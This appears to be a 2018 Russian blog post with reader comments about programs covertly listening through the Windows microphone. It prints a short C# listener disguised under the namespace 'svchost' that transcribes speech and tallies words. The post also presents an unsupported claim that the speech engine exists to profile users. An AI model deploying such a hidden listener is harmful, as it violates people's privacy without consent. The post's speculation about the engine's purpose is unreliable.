Как пользователей Windows незаметно подслушивают через микрофон
Начинающий программист под Windows стал изучать возможности движка распознавания речи и заметил удивительный «нюанс». Оказывается, любая программа может тайком включать запись с микрофона, через движок распознавать сказанное пользователем за день и регулярно передавать на сервера третьих лиц.
Эксперт даже высказал предположение, что реальная причина запилки движка распознавания голоса заключается в том, чтобы помочь собрать профиль интересов пользователя. Действительно, низкокачественный движок не предназначен для диктовки текста по причине неприемлемо большого количества ошибок. Зато прекрасно подходит для того, чтобы набрать ключевых слов — «облако тегов», по которым можно определить, чем интересуется пользователь IRL. Заметьте, не надо передавать на чужие серверы большие и заметные аудиофайлы, а можно тихо и незаметно слить ключевые слова через обычный и неприметный HTTP POST запрос. А какая экономия на дата-центрах! Ведь для вычленения информации используются ресурсы ПК самого объекта слежки.
В сеть выложен работающий пример такой программы. Она имеет потрясающе короткий текст и понятна даже школьнику. Все для удобства слежки.
using System;
using System.Collections.Generic;
using System.Threading.Tasks;
using System.Speech.Recognition;
using System.IO;
namespace svchost
{
class Program
{
static void Main(string[] args) => new Program().RunBotAsync().GetAwaiter().GetResult();
public async Task RunBotAsync()
{
setupSpeechRec();
await Task.Delay(-1);
}
SpeechRecognitionEngine speechRec = new SpeechRecognitionEngine();
Dictionary results = new Dictionary();
string desktopDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
string fileName = "test.txt";
private void setupSpeechRec()
{
DictationGrammar dictGrammar = new DictationGrammar();
speechRec.LoadGrammarAsync(dictGrammar);
speechRec.SetInputToDefaultAudioDevice();
speechRec.SpeechRecognized += speechRec_SpeechRecognised;
speechRec.RecognizeAsync(RecognizeMode.Multiple);
}
private void speechRec_SpeechRecognised(object sender, SpeechRecognizedEventArgs e)
{
string[] words = e.Result.Text.Split(' ');
foreach (string word in words)
{
if (word == "print")
{
string filePath = Path.Combine(desktopDirectory, fileName);
StreamWriter textWriter = new StreamWriter(filePath, false);
foreach (KeyValuePair item in results)
{
textWriter.WriteLine($"{item.Key}: {item.Value}");
}
textWriter.Close();
}
else if (results.ContainsKey(word))
{
results[word]++;
}
else
{
results.Add(word, 1);
}
}
}
}
}
Комментарии
Чингачгук
16 апреля, 2018 - 12:04
Хм. Интересно.
Но на самом деле на роутере же блочится вся телеметрия.
pomodor
16 апреля, 2018 - 12:17
А что блочить? Допустим, программа от стороннего производителя. Заявлены функции одни, а на деле еще и микрофон тайком включается. Причем, разработчик ничем не рискует. Если схватят за жопу, то он просто сошлется на "технический сбой". Кажись, такое уже было с ноутами Sony. Ну а далее программа тырит распознанное через POST запросы в HTTPS. Что именно блочить? Весь Web?
arenim
25 апреля, 2018 - 21:37
Угум-с. Только вот есть мааааленький нюанс: заниматься тем же самым можно из-под любой OS, включая OS X и любые линуксы. И всюду незаметно, ага.
Комментировать